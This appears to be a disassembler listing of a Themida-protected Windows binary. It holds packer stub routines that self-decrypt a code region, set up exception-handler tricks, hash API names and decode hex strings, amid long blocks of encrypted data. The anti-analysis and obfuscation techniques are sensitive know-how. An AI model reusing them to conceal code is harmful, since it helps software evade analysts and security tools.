dd offset dword_53F634
dd 0
a333333333333 db '333333333333',0
align 4
dd 0DC8CEC13h, 710451BDh, 2 dup(0)
dd 0E6Ch, 5 dup(0)
dword_53F634 dd 0B8h, 74C00B00h, 18C203h, 0C24448Bh, 0E853h, 815B0000h
; DATA XREF: Themida_:0053E5FCo
; Themida_:0053F5F4o
dd 17C3h, 245C8900h, 24448910h, 37B85B14h, 0FF009FA0h
dd 24448BE0h, 0E0FF04h, 14h dup(0)
dd offset word_59716A
dd 4 dup(0)
dd 8001FCFCh, 0
dd offset aLRS ; "▀эr:И"
dd 6 dup(0)
dd 0A01564h, 8 dup(0)
dd 1943h, 19h, 3 dup(0)
dd 21FFFB0h, 0Ah dup(0)
dd 77F52E0Fh, 3B402h, 12h dup(0)
dd 7FFE0004h, 86555974h, 0
aA_o db '╠═_o',0
align 4
dd offset aLRS ; "▀эr:И"
dd 12FFA4h, 0Fh dup(0)
dd offset byte_5AADC9
dd 5 dup(0)
dd 0FFFC0608h, 5A29F2h, 0
aSb db '≥Bмэ',0
align 4
dd 0
aR_0 db '╩©r~',0
align 4
dd 29h dup(0)
dd offset byte_578D8B
dd 4 dup(0)
aCWindowsSystem db 'C:\WINDOWS\System32\ADVAPI32.dll',0
align 10h
dd 39h dup(0)
dd 7FFE0304h, 4 dup(0)
dd 667F6926h, 77E793EFh, 0Dh dup(0)
dd 784BF1C4h, 3 dup(0)
dd 5B94h, 0Bh dup(0)
dd 6FE0h, 3 dup(0)
dd 2, 0
dd 70200E0Ch, 0Eh dup(0)
dd 35Bh, 3 dup(0)
dd 0FFFFBACBh, 0
dd 30DFh, 8 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53FB14: ; CODE XREF: start:loc_53C7BFj
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 607335Fh
mov [ebp+607133Dh], edx
mov [ebp+60706C1h], esi
mov [ebp+6072945h], eax
cmp dword ptr [ebp+60710E9h], 0
jz short loc_53FB4C
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_53FB4C: ; CODE XREF: start+5FB2Aj
mov eax, [esp+40h+var_1C]
mov [ebp+6072F95h], eax
push 45h
call sub_53FC00
push 783749Ah
call sub_53FC46
push 0A894B25h
call sub_53FC46
jmp loc_53FD8A
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
dw 4645h
dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
dd 0C2C1C0BFh, 0C3h, 2 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_53FC00 proc near ; CODE XREF: start+5FB44p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 607344Dh
mov ebx, edx
mov [ebp+var_28], 0
loc_53FC1C: ; CODE XREF: sub_53FC00+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_53FC3B
mov eax, [ebp+arg_0]
mov [ebx+60733B7h], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_53FC1C
; ---------------------------------------------------------------------------
loc_53FC3B: ; CODE XREF: sub_53FC00+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_53FC00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_53FC46 proc near ; CODE XREF: start+5FB4Ep start+5FB58p
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 6073496h
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_53FC6C: ; CODE XREF: sub_53FC46+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_53FC6C
mov [ebp+var_84], 0
lea edi, [edx+60733B7h]
lea esi, [ebp+var_80]
loc_53FC9C: ; CODE XREF: sub_53FC46+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_53FCA8: ; CODE XREF: sub_53FC46+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_53FCA8
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_53FC9C
popa
leave
retn 4
sub_53FC46 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_53FCE6
; ---------------------------------------------------------------------------
loc_53FCE2: ; CODE XREF: Themida_:0053FCE9j
inc dword ptr [ebp-4]
inc esi
loc_53FCE6: ; CODE XREF: Themida_:0053FCE0j
cmp byte ptr [esi], 0
jnz short loc_53FCE2
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_53FD77
; ---------------------------------------------------------------------------
loc_53FCF8: ; CODE XREF: Themida_:0053FD7Aj
mov dword ptr [ebp-8], 0
jmp short loc_53FD6E
; ---------------------------------------------------------------------------
loc_53FD01: ; CODE XREF: Themida_:0053FD72j
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_53FD5B
; ---------------------------------------------------------------------------
loc_53FD11: ; CODE XREF: Themida_:0053FD5Fj
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_53FD33
cmp bl, 39h
ja short loc_53FD33
sub bl, 30h
jmp short loc_53FD55
; ---------------------------------------------------------------------------
loc_53FD33: ; CODE XREF: Themida_:0053FD27j
; Themida_:0053FD2Cj
cmp bl, 61h
jb short loc_53FD45
cmp bl, 66h
ja short loc_53FD45
sub bl, 61h
add bl, 0Ah
jmp short loc_53FD55
; ---------------------------------------------------------------------------
loc_53FD45: ; CODE XREF: Themida_:0053FD36j
; Themida_:0053FD3Bj
cmp bl, 41h
jb short loc_53FD55
cmp bl, 46h
ja short loc_53FD55
sub bl, 41h
add bl, 0Ah
loc_53FD55: ; CODE XREF: Themida_:0053FD31j
; Themida_:0053FD43j ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_53FD5B: ; CODE XREF: Themida_:0053FD0Fj
cmp dword ptr [ebp-0Ch], 2
jb short loc_53FD11
cmp dword ptr [ebp-10h], 0
jbe short loc_53FD6B
mov eax, [ebp-10h]
stosb
loc_53FD6B: ; CODE XREF: Themida_:0053FD65j
inc dword ptr [ebp-8]
loc_53FD6E: ; CODE XREF: Themida_:0053FCFFj
cmp dword ptr [ebp-8], 2
jb short loc_53FD01
add edx, 4
loc_53FD77: ; CODE XREF: Themida_:0053FCF6j
cmp edx, [ebp-4]
jb loc_53FCF8
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53FD8A: ; CODE XREF: start+5FB5Dj
mov ecx, 7000h
lea edi, [ebp+60735DCh]
loc_53FD95: ; CODE XREF: start+5FD85j
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_53FD95
mov eax, 48692121h
mov edx, 0F00E0000h
sub edx, 0F0000000h
lea eax, [ebp+60736E0h]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
mov ebx, ecx
jl loc_53FDCF
cmc
loc_53FDCF: ; CODE XREF: start+5FDB4j
ja loc_53FDE3
jmp loc_53FDE3
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
dw 8750h
dd 40F87EBEh
db 0B2h, 0BDh, 0B5h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53FDE3: ; CODE XREF: start:loc_53FDCFj
; start+5FDC1j
sub eax, edx
push 0
push ebx
call sub_53FDF0
and [ebx-3Dh], bl
; END OF FUNCTION CHUNK FOR start
; =============== S U B R O U T I N E =======================================
sub_53FDF0 proc near ; CODE XREF: start+5FDD4p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_53FDF0 endp
; ---------------------------------------------------------------------------
dd 0B5EF713h, 8B6CD62Ch, 0F00025DFh, 0BB66FFFFh, 0CA8B3FB7h
dd 8166FF33h, 755A4D38h, 50B70F0Eh, 81D0033Ch, 45503Ah
dd 2D087400h, 1000h, 64E3EB47h, 58Fh, 0C4830000h, 0F3958D04h
dd 52060736h, 35FF64h, 64000000h, 2589h, 0C1030000h, 10002Dh
dd 4708B00h, 0E681h, 0FE81FFFFh, 80000000h, 708B0376h
dd 83C0331Ch, 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh
dd 0EBEB4000h, 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h
dd 58Fh, 0C4830000h, 51C36104h, 10244C8Bh, 0B0A981h, 10000000h
dd 33590000h, 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 60736FEh
dd 36BC858Dh, 81890607h, 0B8h, 0C033595Dh, 8F6496C3h, 5
dd 4C48300h, 33B96660h, 0EF806136h, 0D98C66D3h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 2FC35545h, 0E9D88B66h
dd 9, 8AF41A34h, 0DD3D7CF9h, 4E18052h, 0FC90AF9h, 2F85h
dd 0DE900h, 45990000h, 0FDF12EFBh, 189387ABh, 0C72259E6h
dd 719BD85h, 106h, 2890F00h, 0B3000000h, 29E9B5h, 0E3810000h
dd 5C18E11Eh, 19BD85C7h, 607h, 8E80000h, 17000000h, 0A585F0A4h
dd 0F028BB5h, 581h, 0C434BB00h, 895B7EBDh, 7059D85h, 0DEBF0F06h
dd 0D998589h, 0AE80607h, 41000000h, 6DBC213Eh, 0F4E52270h
dd 6CBE668Fh, 81F85FC1h, 6926C7h, 12E900h, 0E12B0000h
dd 0BBCB65DAh, 0D63B535Fh, 868F6331h, 0E1AB8733h, 68h
dd 0BDCA8100h, 5B792BCAh, 0C8BC38Bh, 0C38B661Fh, 6A94F181h
dd 81F96548h, 0F27F0AF1h, 0F38B663Dh, 5D4AF181h, 0F4BA2338h
dd 8926AD0Ah, 0E58A1F0Ch, 83C28B66h, 0E95204EBh, 12h, 8CC93F05h
dd 1BAD262Bh, 60C9ABEFh, 1F3D7688h, 815A6D8Dh, 0FF9788FBh
dd 10850FFFh, 66000000h, 0C60EE681h, 1CE9h, 6213BF00h
dd 66B9A71Dh, 0E9E600BAh, 0FFFFFF96h, 9EEFDF2h, 10C0843Bh
dd 0C40807D8h, 6E8D6h, 0CEDD0000h, 91F8E51Eh, 38DB8166h
dd 0C7815F1Bh, 5948h, 88E0Fh, 8D0F0000h, 2, 2B686160h
dd 81000016h, 0A126B3C6h, 0DB81591Ch, 67B777FFh, 5E837FFh
dd 95000000h, 508F5D0Bh, 6BE38166h, 0F585EA3h, 0C081D9B7h
dd 1FC7E998h, 0C081D78Bh, 770BD6D7h, 0CD2E18BAh, 99C08137h
dd 816653C7h, 0A7E2C6D2h, 0FE85012h, 0C000000h, 6911EB70h
dd 0DC9B26F1h, 46AF8FE2h, 5B66C34h, 56078F5Bh, 0DD68166h
dd 0EF815B59h, 27684AF5h, 0F1C781F9h, 8B27684Ah, 850F49F0h
dd 0FFFFFF94h, 0FAE956B3h, 0FC000006h, 1079B509h, 2170607h
dd 113D0000h, 0F600607h, 682h, 820F00h, 0F000000h, 61DEBFh
dd 14E900h, 79AB0000h, 307C16C2h, 0AE0522D0h, 0AA4D12CAh
dd 3A40300Ch, 606027FCh, 0DEA7B866h, 15ADBF66h, 0B861h
dd 7E90000h, 66000000h, 0ED33D49Dh, 548BE15Eh, 89FC2824h
dd 7331985h, 71B58906h, 0F806071Bh, 3CBEh, 81666000h, 8B27C6D7h
dd 7025585h, 74036106h, 12E92424h, 8000000h, 11E5416Ah
dd 3D263B83h, 0A4411B4Fh, 0B556D4EAh, 6840F7Eh, 89000000h
dd 719E1BDh, 0F8AD6606h, 24244403h, 13E9h, 7AED3700h, 0B96C9C7Eh
dd 2F11D9E5h, 87A8323Bh, 0B91FB86h, 0AE950h, 0E9210000h
dd 0C4231FF3h, 625EFC83h, 9240489h, 70D5D85h, 78408B06h
dd 12759589h, 44030607h, 8E0F2824h, 6, 72D9D09h, 408B0607h
dd 8B666018h, 118D89C8h, 61060718h, 8F0F6040h, 5, 0D1E43ABBh
dd 7EB9663Fh, 8589617Fh, 607392Fh, 2FF18D31h, 29580607h
dd 712E19Dh, 78708B06h, 1CC683F9h, 10E9h, 2F2D700h, 5FEAB1ECh
dd 3D88C08h, 4F245543h, 24740398h, 81666024h, 31BDA0E7h
dd 707CDBDh, 0BD8D6106h, 6072BF9h, 303D9D89h, 29AD0607h
dd 71DF995h, 24440306h, 7E96024h, 91000000h, 0E860E99Ch
dd 890F1E5Dh, 3, 61F08B66h, 6830Fh, 0B5090000h, 6071871h
dd 0BE9ABh, 739E0000h, 0B22F5274h, 98926EA2h, 31BD8D01h
dd 0FC060710h, 0F58509ADh, 3060718h, 60242444h, 0FE9h
dd 6285D00h, 1806B040h, 91D89AE3h, 43298BCAh, 11E950h
dd 1B700000h, 2AA8BF40h, 0F37F800Ah, 74061455h, 59740D47h
dd 830F9061h, 9, 0CC98BB60h, 1DB32AB9h, 52505061h, 6880Fh
dd 8C0F0000h, 0
dd 14E9310Fh, 1E000000h, 22EFAD4h, 58CBA4D0h, 1FA5A7C9h
dd 0F8BD87A5h, 5AD4A839h, 9D899058h, 6071165h, 0BD8DFCABh
dd 6072289h, 9E9h, 0D4E54200h, 8C7DA2DBh, 0F9AD04BFh, 28244403h
dd 0DE9h, 37314200h, 0F710E506h, 23410055h, 0FCAB97C6h
dd 0FFF85EF8h, 7392F8Dh, 2FBD8306h, 60739h, 44C71075h
dd 1C24h, 0B58D0000h, 6073DAEh, 0AD56E6FFh, 28244403h
dd 8ADF8B97h, 709CD85h, 74C08406h, 75073A04h, 0C032574Ch
dd 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h, 0C132ACDBh
dd 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h, 973D8D1h, 50413566h
dd 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h, 0D1F7D2F7h
dd 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh, 1985FF04h
dd 0E9060733h, 0FFFFFF6Fh, 0AE95Eh, 0DBD60000h, 57ADA74h
dd 8CDD9FB6h, 0CDB58960h, 66060725h, 618DBEB8h, 3319858Bh
dd 8C0F0607h, 6, 3B1BD89h, 0E0D10607h, 0A0BB6660h, 3F961A4h
dd 7228985h, 85896006h, 6070591h, 0BE61h, 0B5890000h, 6070B85h
dd 0B8666096h, 8E8EA97h, 24000000h, 7A88948Dh, 9D466CBh
dd 7292D8Dh, 66615F06h, 3DBD89ADh, 0C1060712h, 850902E0h
dd 607135Dh, 2BF98503h, 0B5290607h, 60711EDh, 60ADF596h
dd 8D23DDB7h, 60718B5h, 0B58B6061h, 6072305h, 139DBD31h
dd 8B610607h, 0F924244Ch, 24244403h, 10199589h, 44890607h
dd 96F81C24h, 858D8960h, 0E9060705h, 14h, 0FACCD11Bh, 0FA464DF6h
dd 94660BC8h, 596C3CABh, 8F9DA378h, 880FAC61h, 6, 29A5BD01h
dd 0C9320607h, 1890Fh, 0FEF50000h, 799531C1h, 0D006072Ah
dd 0A2830FD0h, 60000000h, 18252BAh, 0D061F944h, 92830FD0h
dd 89000000h, 70F0585h, 0C810F06h, 0E9000000h, 7, 3F090A4Dh
dd 0D019DAADh, 72820FD0h, 89000000h, 72C99B5h, 0FD0D006h
dd 6482h, 6830F00h, 89000000h, 70C35BDh, 0FC9FE06h, 0FFFFA689h
dd 0BE860FFh, 0DE000000h, 20980B8Ah, 0CE2A4426h, 9D31012Dh
dd 6070A69h, 0DBC28158h, 611BAB93h, 8920C483h, 712F185h
dd 2444C706h, 0FCh, 0B1B53100h, 0B8060728h, 1, 1ED1BD31h
dd 8D8D0607h, 6076FE4h, 9E1FFF5h, 72AF995h, 0CD85C606h
dd 60709h, 2B55BD89h, 0FC610607h, 0F0008C2h, 18Bh, 0E996FC00h
dd 0Ch, 1ACAA660h, 5BF13AAh, 1C197339h, 6E950h, 0E2140000h
dd 4F2183D7h, 0BD896096h, 60704C1h, 0EE8h, 31093400h, 9E7BB38Ch
dd 3236C5Eh, 0F5A4ADCh, 88h, 89615900h, 73FE2B5h, 0B98D0906h
dd 8906070Dh, 7400B8Dh, 68F0F06h, 89000000h, 71E7595h
dd 96B58D06h, 0E906073Eh, 10h, 9863EC14h, 0DE89B9C8h, 0AD1DE0BBh
dd 462F880h, 7E35858Dh, 0DE9005Bh, 0A1000000h, 7A51C3E0h
dd 6D5CA6CAh, 903C0F10h, 0CE9h, 0AE749F00h, 0B885454Bh
dd 874B80D6h, 0E9D0FFF3h, 0Ah, 40287764h, 564F2202h, 0F95EF24Eh
dd 13E9C3h, 78A60000h, 0ABDE39E6h, 0ED44EFEEh, 2F3DC619h
dd 0F9A1857h, 0E2B58B26h, 3106073Fh, 71F7985h, 0B8D8B06h
dd 0E9060740h, 0Ch, 5C797D11h, 0E9D643AEh, 3F58B12Ah, 8160C02Bh
dd 2E4573EFh, 8E96062h, 0D7000000h, 3438351Ah, 0BF0AD42Eh
dd 3CB5B2FEh, 0D98B6161h, 0BE960h, 2C9B0000h, 1A782AC6h
dd 0AD982E30h, 7E98Dh, 0F6590000h, 9B6F2262h, 0CEE96197h
dd 89000000h, 72BF58Dh, 0F263206h, 687h, 1DB50900h, 0B2060711h
dd 3DBD8902h, 0F060703h, 683h, 89950900h, 0E906070Ah, 84h
dd 2BDE8B60h, 7229195h, 0C2326106h, 6840Fh, 8D890000h
dd 6071831h, 1D7A05F8h, 8B608A75h, 5E860F7h, 0FC000000h
dd 8D709E15h, 49BD0959h, 61060704h, 6E961h, 0EFB50000h
dd 8D15A525h, 820FCC8Ah, 15h, 10E9h, 9A669900h, 0DA073A8Dh
dd 7436998Bh, 0E44F20B7h, 60C8D343h, 2309BD2Bh, 81660607h
dd 613195CFh, 0D1084235h, 6E998h, 0C36D0000h, 181FE24Ch
dd 0B589CAFEh, 60709C9h, 850FD20Ah, 0FFFFFF7Eh, 7BD8589h
dd 14B0607h, 72165BDh, 31F54606h, 718CD95h, 0FDB0B06h
dd 0FFFF3085h, 60CFF9FFh, 7818523h, 958B0607h, 6070225h
dd 60000061h, 6F58D8Bh, 8D010607h, 6070D85h, 0E9000061h
dd 12h, 9CD5B88Ah, 0A05CEB0Dh, 88C3C94Ch, 57EA79C3h, 82ADh
dd 61605360h, 6820F5Ah, 89000000h, 710B59Dh, 6106h, 63858DF8h
dd 0F9060739h, 2C958589h, 0B5890607h, 6070E25h, 3DC7858Dh
dd 5E90607h, 90000000h, 0DFDE857Bh, 0FE58589h, 14EB0607h
dd 4 dup(0)
dd 8Bh, 4110858Dh, 85890607h, 607115Dh, 4059BD83h, 0F000607h
dd 11A84h, 0CD85C600h, 56060709h, 0C9FEE968h, 240481BEh
dd 15556E50h, 59DB5FFh, 858D0607h, 6073963h, 8589D0FFh
dd 607404Dh, 9CD85C6h, 68560607h, 8C132EE6h, 0B4243481h
dd 0FF10BB96h, 7059DB5h, 63858D06h, 0FF060739h, 518589D0h
dd 6A060740h, 0A0FC6804h, 34817DB9h, 0B9B0FC24h, 5D858B7Dh
dd 5060740h, 1F4h, 5002E0C1h, 6A240489h, 5195FF00h, 89060740h
dd 7405585h, 0B8D88B06h, 0FFFFFFFFh, 115D95FFh, 0C38B0607h
dd 115D95FFh, 84E90607h
db 3 dup(0)
byte_5408CF db 83h ; DATA XREF: Themida_:0053D91Co
dd 74059BDh, 850F0006h, 1, 0BD8B57C3h, 6074055h, 558583ABh
dd 4060740h, 0BD83C35Fh, 6074059h, 1850F00h, 0C3000000h
dd 55AD8360h, 4060740h, 40559D8Bh, 7B830607h, 850FFFFCh
dd 1Dh, 0A0007668h, 24348138h, 38A08076h, 33FF006Ah, 404D95FFh
dd 0C3610607h, 1DE9h, 0F9986800h, 34816AF3h, 0F3799824h
dd 0FF006A6Ah, 4D95FF33h, 83060740h, 74055ADh, 0B1E90406h
dd 48FFFFFFh, 9D3E9h, 6FDF0E00h, 31EB7643h, 0C60DB6C5h
dd 685705FAh, 0C426E42Dh, 9592C8BEh, 6FFB5008h, 9A87A6D5h
dd 6FF95313h, 3DA97D4Eh, 941AA4CDh, 6F4514A9h, 0AB6DEB68h
dd 9F98B8DDh, 63FA4D1Ch, 9887A687h, 6FFA5C15h, 22A9674Eh
dd 9405BED0h, 745B08B7h, 0C063FF7Fh, 88D48CBEh, 2EEB4D18h
dd 8DC9A7D5h, 6FEC4815h, 23E66157h, 9A05B0D0h, 63h dup(0)
dd 6FDF0E00h, 2DE77C4Ah, 941ABED6h, 7C591FAAh, 812EE77Fh
dd 0DA8789B8h, 21FA5B1Fh, 8186B587h, 3DBE5914h, 2DE77D52h
dd 0DD48B6CCh, 744F4DB4h, 0D263F478h, 9F809BA9h, 42951010h
dd 958CBFF7h, 6FB25809h, 2BE57D52h, 0DD48B5C3h, 69504DAEh
dd 0CC63EB62h, 889B85B5h, 21FE1E04h, 919BF3C3h, 3DFF4909h
dd 2BF03353h, 0C448A3D7h, 695102A8h, 6DEB6Ch, 48h dup(0)
dd 6FDF0E00h, 27E86144h, 931AB4C9h, 74424DA9h, 0C963EA62h
dd 98D49BB1h, 6FF15B18h, 9A9CBCC1h, 3AEC1D1Eh, 2AE07D49h
dd 0DA01F1C5h, 6E5914FAh, 0D830A67Fh, 97919CA3h, 1F923453h
dd 8788B6CBh, 3ABE111Fh, 25E67F49h, 0C001F1C6h, 74440BFAh
dd 0C42EA660h, 838687BDh, 2BF15F5Dh, 878CA187h, 3BEC5C0Eh
dd 31E66A07h, 0C618F1D0h, 7A440AB5h, 0A860h, 61h dup(0)
dd 26D80E00h, 27A9764Bh, 0C11AA3CDh, 7F5319AAh, 0F563A82Ch
dd 0DA8781B8h, 28F04C0Dh, 0D484B2D5h, 6FED5C12h, 2AEC7645h
dd 0DA09BC82h, 77431DB3h, 0C526F26Ch, 9E9A89F0h, 36FE535Dh
dd 0F9E3B6C5h, 3CB94913h, 22E77A07h, 0D11CB2C7h, 62544DBEh
dd 0F763E72Dh, 89819AB9h, 6FED515Dh, 9788A1C4h, 61FA5811h
dd 2DE14707h, 0DD0EF1D1h, 6C1608B6h, 0D564E862h, 889B9FF0h
dd 21FE1E16h, 8686BEDEh, 131Fh, 0E0h dup(0)
dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
dd 2 dup(0)
dd 2D74E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 0C0A7BE8Eh, 0EF8CCD1Dh, 0EB99509h
dd 8BFC0607h, 711519Dh, 0AABA6606h, 9C08B40h, 72F2DBDh
dd 0CDBD8306h, 6071Ah, 0BD830975h, 6071135h, 50137400h
dd 0B8C08B53h, 1, 0AC629D8Dh, 0D3FF0609h, 0BD83585Bh, 6071135h
dd 50117400h, 1B853h, 9D8D0000h, 609AB13h, 585BD3FFh, 13E8h
dd 6D97EB00h, 0FEF0D7E9h, 38716508h, 7B182EB0h, 0B83DF94Dh
dd 85CA8166h, 9D8B5B8Fh, 6072F85h, 958BC08Bh, 6071EF9h
dd 58DBD83h, 0F000607h, 17384h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 9D035B9Dh
dd 6071131h, 0E79BBB66h, 0D2DBD83h, 0F000607h, 13F84h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 0CF4716EFh, 9800F53h, 0F000000h, 389h, 0D38B6600h
dd 85896060h, 6070361h, 0CD958956h, 5F060719h, 2D858B61h
dd 8106070Dh, 58E52DF2h, 3E80570h, 95890000h, 6070F29h
dd 0EE9h, 774B1000h, 0CDF8E159h, 68F324B9h, 502BDAA7h
dd 1240489h, 7115185h, 54858D06h, 0E906074Bh, 11h, 0E9F63EBCh
dd 0FD2A8D0Ah, 0CA4B8516h, 84546A8Dh, 890F90CBh, 5, 0DA8B6653h
dd 5AB3505Ah, 8DD9B390h, 74B3285h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 89BD5E51h
dd 7DD5FB3Ah, 130D9D8Bh, 89500607h, 958B2404h, 60705D5h
dd 0A195FFh, 0B5890607h, 6070C85h, 30CC483h, 70BD595h
dd 32858D06h, 0BB06074Bh, 274CE1Ah, 89E3B350h, 6A2404h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 0D18B27C3h, 26318D89h, 26A0607h, 8951D78Bh, 72C3D85h
dd 95FF5B06h, 688574h, 385958Bh, 0F5610607h, 4B6585C7h
dd 10607h, 850F0000h, 0Ah, 5E9h, 0A5037A00h, 535078A3h
dd 48D0Fh, 0BB660000h, 895B01C5h, 6A2434h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 24AEF7C3h
dd 5BF957EEh, 4B16B589h, 0EEBA0607h, 834CE966h, 719BDBDh
dd 850F0106h, 3Ch, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 9EC35040h, 80B1E2B6h, 19B529DCh, 8306072Fh
dd 850F05F8h, 0Ch, 459D8Bh, 0B80607h, 0FC000000h, 1319BD83h
dd 0F000607h, 4C84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 76A52C50h, 0B8F888D0h
dd 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 6DC35141h
dd 8BCFB75Dh, 72F6195h, 6A6006h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 8795A4C3h, 8291402Dh
dd 858BA3D7h, 6070E69h, 1DC1958Bh, 0C0830607h, 0ED958B02h
dd 89060714h, 74B0E85h, 0D78B6606h, 45958960h, 0B060719h
dd 713A59Dh, 0C66106h, 0E28156FFh, 62750743h, 9D23575Bh
dd 6070A05h, 0CD85C65Ah, 53060709h, 45CE68F8h, 5250B5DEh
dd 11E9h, 0D524AB00h, 12CFA0h, 5DB22064h, 7281E650h, 310F87EDh
dd 5A505250h, 10B2310Fh, 585A585Ah, 0A240481h, 8B46D303h
dd 99B5FFDAh, 0E806070Dh, 7, 8E19A5D1h, 519B5B8Ah, 1A5958Bh
dd 5A5B0607h, 7038858Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 0FEC317C3h, 0BD3148F9h
dd 9D017172h, 6070C6Dh, 2855BD89h, 12E90607h, 0A4000000h
dd 0D25A0556h, 2C8061B3h, 2388A375h, 629F15BFh, 8AD0FF31h
dd 698589F7h, 0F06070Dh, 688h, 95958900h, 8306071Eh, 72935BDh
dd 850F0106h, 0F3h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 98C35141h, 41560839h, 0CF4535D9h, 56006A61h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 840F25F4h, 5, 0D8C38166h, 0C7E281A5h, 0C61AD8C8h, 709CD85h
dd 8B524506h, 7134D9Dh, 14E85A06h, 0C0000000h, 47C6AE5h
dd 22E3E081h, 2DE624A6h, 0BC4B97E9h, 0E905DF7Fh, 13h, 20A02002h
dd 0B8E8159Eh, 9F975DA3h, 0DBB6F9F4h, 5B0E7C14h, 0E4AC0668h
dd 81FE8AABh, 8CBC2404h, 8E82E7Bh, 27000000h, 0E11394AEh
dd 8B0794B2h, 710619Dh, 9D8B5A06h, 60722F9h, 0D99B5FFh
dd 8B660607h, 38858DD0h, 8B060A70h, 7030195h, 0FF68B606h
dd 0E9B501D0h, 66060725h, 99E4C281h, 9529006Ah, 6072E35h
dd 23A58D89h, 0D0FF0607h, 83D4C780h, 70715BDh, 850F0106h
dd 0C8h, 0C858589h, 858B0607h, 6070E69h, 75E91BB7h, 8B000000h
dd 718E995h, 1EB75006h, 0F240489h, 684h, 69953300h, 6A060705h
dd 57006A14h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 8CFE8CE6h, 9FB7FFF6h, 95FFF48Ah, 6070D69h
dd 3C19D8Bh, 6A580607h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 8E56C350h, 435CFC49h
dd 958B37BCh, 6071155h, 0F003880h, 0FFFF8885h, 0DDBD89FFh
dd 0C6060700h, 6A0100h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
